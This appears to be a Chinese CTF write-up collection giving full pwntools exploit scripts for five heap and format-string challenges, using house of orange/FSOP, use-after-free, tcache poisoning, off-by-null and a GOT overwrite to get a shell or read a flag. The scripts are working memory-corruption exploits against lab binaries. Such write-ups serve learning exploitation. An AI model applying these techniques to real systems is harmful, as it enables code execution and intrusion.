houseoforange_hitcon_2016

house of orange+FSOP伪造file

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
from pwn import*
from LibcSearcher import*
context.log_level='debug'
r=process('./houseoforange_hitcon_2016')
#r=remote('node4.buuoj.cn',28976)
elf=ELF('./houseoforange_hitcon_2016')
libc=ELF('./2.23/libc.so.6')
#libc=ELF('./libc-2.23.so')
def add(size, content, price):
r.recvuntil("Your choice : ")
r.sendline('1')
r.recvuntil("Length of name :")
r.sendline(str(size))
r.recvuntil("Name :")
r.send(content)
r.recvuntil("Price of Orange:")
r.sendline(str(price))
r.recvuntil("Color of Orange:") #1-7
r.sendline('1')


def show():
r.recvuntil("Your choice : ")
r.sendline('2')

def edit(size, content, price):
r.recvuntil("Your choice : ")
r.sendline('3')
r.recvuntil("Length of name :")
r.sendline(str(size))
r.recvuntil("Name:")
r.send(content)
r.recvuntil("Price of Orange:")
r.sendline(str(price))
r.recvuntil("Color of Orange:") #1-7
r.sendline('1')



add(0x30,'aaaa\n',0x1234)
payload = 'a' * 0x30 +p64(0) + p64(0x21) + p32(666) + p32(0x1f) + p64(0) * 2 + p64(0xf81)
edit(len(payload), payload, 666)

add(0xff0,'a',0x10)
add(0x400, 'a' * 8, 199)
show()
r.recvuntil('a'*8)
malloc_hook = u64(r.recvuntil('\x7f').ljust(8, '\x00')) - 0x678
success('malloc_hook = '+hex(malloc_hook+0x68))
libc.address = malloc_hook - libc.symbols['__malloc_hook']
io_list_all = libc.symbols['_IO_list_all']
system = libc.symbols['system']

payload = 'b' * 0x10
edit(0x10, payload, 199)
show()
r.recvuntil('b'*0x10)
heap = u64(r.recvuntil('\n').strip().ljust(8, '\x00'))
heap_base = heap - 0xE0
success('heap = '+hex(heap))

payload = 'a' * 0x400 + p64(0) + p64(0x21) + p32(666) + p32(0x1f) + p64(0)
fake_file = '/bin/sh\x00'+p64(0x61)#to small bin
fake_file += p64(0)+p64(io_list_all-0x10)
fake_file += p64(0) + p64(1)#_IO_write_base < _IO_write_ptr
fake_file = fake_file.ljust(0xc0,'\x00')
fake_file += p64(0) * 3
fake_file += p64(heap_base+0x600) #vtable ptr
fake_file += p64(system)*8
payload += fake_file
edit(len(payload), payload, 666)

#gdb.attach(r)
r.recvuntil("Your choice : ")
r.sendline('1')


r.interactive()

至于为什么要改成0x61

1
fake_file = '/bin/sh\x00'+p64(0x61)#to small bin

可以参考ctf-HITCON-2016-houseoforange学习 - 一肩担风月 - 博客园 (cnblogs.com)

de1ctf_2019_weapon

有uaf通过写IO来得到libc地址然后通过double free来拿到shell

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
from pwn import *
p=0
def pwn():
global p
#p=process('./de1ctf_2019_weapon')
p=remote('node4.buuoj.cn',28815)
elf=ELF('./de1ctf_2019_weapon')
libc=ELF('./libc-2.23.so')

def add(size,idx,name):
p.sendlineafter('>>','1')
p.sendlineafter(': ',str(size))
p.sendlineafter(': ',str(idx))
p.sendafter(':',name)

def delete(idx):
p.sendlineafter('>>','2')
p.sendlineafter(':',str(idx))

def edit(idx,data):
p.sendlineafter('>>','3')
p.sendlineafter(': ',str(idx))
p.sendafter(':',data)


payload=p64(0)*1+p64(0x71)
add(0x28,0,payload)
add(0x18,1,'cccc')
add(0x38,2,'dddd')
add(0x60,3,'\x02'*2)
add(0x60,4,'aaaa')
add(0x60,5,'bbbb')
delete(3)
delete(4)
edit(4,'\x10')
add(0x60,8,'dd')
add(0x60,7,p64(0)*3+p64(0x21)+p64(0)*3+p64(0xb1))
delete(2)
delete(3)
add(0x38,2,'aaa')
edit(3,'\xdd\x85')
payload='\x00'*(0x40+3-0x10)+p64(0x1800)+'\x00'*0x19
payload1='\x00'*0x33+p64(0xfbad3c80)+3*p64(0)+p8(0)
add(0x60,8,'aaa')
add(0x60,9,payload1)
libcbase=u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))-0x3c5600
malloc_hook=libcbase+libc.sym['__malloc_hook']
o_g=[0x45216,0x4526a,0xf02a4,0xf1147]
one_gadget=libcbase+o_g[3]
delete(3)
delete(4)
delete(3)
add(0x60,3,p64(malloc_hook-0x23))
add(0x60,6,'doudou')
add(0x60,4,'doudou1')
add(0x60,8,'a'*0x13+p64(one_gadget))
log.success('libcbase: '+hex(libcbase))
p.sendlineafter('>>','1')
p.sendlineafter(': ',str(0x20))
p.sendlineafter(': ',str(8))
p.interactive()
return True

if __name__=="__main__":
while 1:
try:
if pwn()==True:
break
except Exception as e:
p.close()
continue

SWPUCTF_2019_p1KkHeap

将shellcode(orw)写到0x66660000这个内存空间上,然后再想办法劫持到这边运行。
接下来分析菜单,漏洞存在于free后,有个uaf。

由于tcache也是一个链栈,且不检查double free利用起来更方便了,我们想要劫持malloc_hook就要泄露libc地址,一般可以使用unsortbin attack。但是这个题只让free三次,想要将tcache填满,然后free进unsortbin是不可能的。但是tcache->count是一个无符号类型的数据,我们在double free后tcache成环,那么就可以一直malloc这一块地方内存,使tcache->count变为负数(实际上是很大的正数)。这样再free时就不会进入tcache中,而是进入unsort bin中,这样可以得到libc地址。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
from pwn import *
context.arch='amd64'

def add(size):
io.recvuntil('Choice:')
io.sendline('1')
io.recvuntil('size:')
io.sendline(str(size))

def show(idx):
io.recvuntil('Choice:')
io.sendline('2')
io.recvuntil('id:')
io.sendline(str(idx))

def free(idx):
io.recvuntil('Choice:')
io.sendline('4')
io.recvuntil('id:')
io.sendline(str(idx))

def edit(idx,data):
io.recvuntil('Choice:')
io.sendline('3')
io.recvuntil('id:')
io.sendline(str(idx))
io.recvuntil('content:')
io.send(data)

#io=remote('node4.buuoj.cn',27931)
io=process('./SWPUCTF_2019_p1KkHeap')
add(0x100)#0
add(0x100)#1
#tcache_dup
free(1)
free(1)
#1_chunk get tcache_entry
show(1)
io.recvuntil('content: ')
first_chunk=u64(io.recv(6).ljust(8,'\x00'))
tcache_entry=first_chunk-0x198-0x110
print(hex(tcache_entry))

#edit fd -> tache_entry
add(0x100)#2
edit(2,p64(tcache_entry))

add(0x100)#3
add(0x100)#4 get tcache_entry
rwx_add=0x66660000
edit(4,p64(rwx_add))#edit tcache_entry
gdb.attach(io)
add(0x100) #5 get rwx memory
#write shellcode
shellcode=shellcraft.amd64.open('flag')
shellcode+=shellcraft.amd64.read(3,0x66660300,64)
shellcode+=shellcraft.amd64.write(1,0x66660300,64)
edit(5,asm(shellcode))
#tcache_count is -1(0xff) now
#unsortbin attack
free(0)
show(0)
io.recvuntil('content: ')
libc_base=u64(io.recv(6).ljust(8,'\x00'))-0x3ebca0
print(hex(libc_base))
#malloc_hijack
malloc_hook=libc_base+0x3ebc30
edit(4,p64(malloc_hook))#edit tcache_entry
add(0x100) #6 get malloc_hook
edit(6,p64(rwx_add))
#getflag
add(0x100)
io.interactive()

SWPUCTF_2019_login

非栈上的格式化字符串, 将printf_got地址内容改为system,再传如/bin/sh。但实际情况不传/bin/sh也可以打通。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
from pwn import*
from LibcSearcher import*
context.log_level='debug'
r=process('./SWPUCTF_2019_login')
#r=remote('node4.buuoj.cn',29792)
elf=ELF('./SWPUCTF_2019_login')
r.sendline('ydh')
libc=ELF('./libc-2.27_32.so')
libc=ELF('/lib/i386-linux-gnu/libc.so.6')
def pas(a):
r.recvuntil('Try again!')
r.sendline(a)

r.recvuntil('password:')
r.sendline('%6$p')
r.recvuntil('wrong password: ')
change=(int(r.recvline()[2:],16)-4)&0xff
print(hex(change))

pas('%'+str(change)+'c'+'%6$hhn')
pas('%'+str(0x14)+'c'+'%10$hhn')

#key
pas('%'+str(change-4)+'c'+'%6$hhn')
pas('%'+str(0xb016)+'c'+'%10$hn')

pas('%9$s')
r.recvuntil('wrong password: ')
base=u32(r.recv(4))-libc.sym['printf']
sys=base+libc.sym['system']
print hex(base)
print hex(sys)
#gdb.attach(r)
a=sys&0xffff
print(hex(a))
b=sys>>16
print(hex(b))
#gdb.attach(r)
pl3='%'+str(a)+'c'+'%9$hn'+'%'+str(b-a)+'c'+'%8$hn'
pas(pl3)
#r.sendline('/bin/sh\x00')
r.interactive()

sctf_2019_easy_heap

  1. 首先程序有off-by-null,由于chunk的大小不小于0x400就不会被放入tache,就会直接进入unsorted bin,由于这个原因,在以前的一道题,遇到过一次这样的类型
  2. 我们可以先申请4个chunk,大小分别为0x410,0x48,0x4f0(0x4f0是为了off by one),第四个任意,首先delete掉第0个,然后对chunk1进行编辑覆盖0x4f0的位置pre_inuse位,并且把其pre_size的大小修改为0和1chunk的总和,这样当我们下次在申请chunk时候可以构造double free
  3. 这时我们在申请一个chunk 大小跟先前的第0个一样,构造double free,并且对mmap处的内存进行写入shellcode
  4. 这时我们同理,在构造一个double free,通过unsorted bin中main_arena+96与__malloc_hook在libc-2.27的相差为0x30,所以在填入这个就是__malloc_hook了,之后把mmap的地址填入malloc_hook的位置,在调用add即可

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
from pwn import*
from LibcSearcher import*
context.log_level='debug'
#r=process('./sctf_2019_easy_heap')
r=remote('node4.buuoj.cn',26867)
elf=ELF('./sctf_2019_easy_heap')
#libc=ELF('./2.27/libc.so.6')

def add(size):
r.sendlineafter('>>','1')
r.sendlineafter(':',str(size))
r.recvuntil('Address ')
a=int(r.recv(14),16)
print hex(a)
return a

def edit(ind,test):
r.sendlineafter('>>','3')
r.sendlineafter(':',str(ind))
r.sendafter(':',test)

def dele(ind):
r.sendlineafter('>>','2')
r.sendlineafter(':',str(ind))
r.recvuntil('0x')
mmap = int(r.recv(10),16)
heap=add(0x410) #0
add(0x48) #1
add(0x4f0) #2
add(0x48) #3
dele(0)
edit(1,'a'*0x40+p64(0x470))
dele(2)
#gdb.attach(r)
add(0x410) #0
add(0x48) #2 1

dele(3)
dele(1)
dele(2)

add(0x48) #1
edit(1,p64(mmap) + b'\n')
add(0x48) #2
add(0x48) #3

shellcode = asm(shellcraft.amd64.linux.sh(),arch="amd64")
edit(3,shellcode + b'\n')

add(0x4f0)#4
dele(0)
edit(1,'a'*0x40+p64(0x470)) # 2(allocate) == 1(allocate)
dele(1) # 1 2
dele(4)
add(0x410) #0
dele(1) # 1 2
edit(2,'\x30\n')
add(0x48)#1
add(0x48)#4 malloc_hook
edit(4,p64(mmap) + b'\n')

r.sendlineafter('>>','1')
r.sendlineafter(':','10')
#gdb.attach(r)
r.interactive()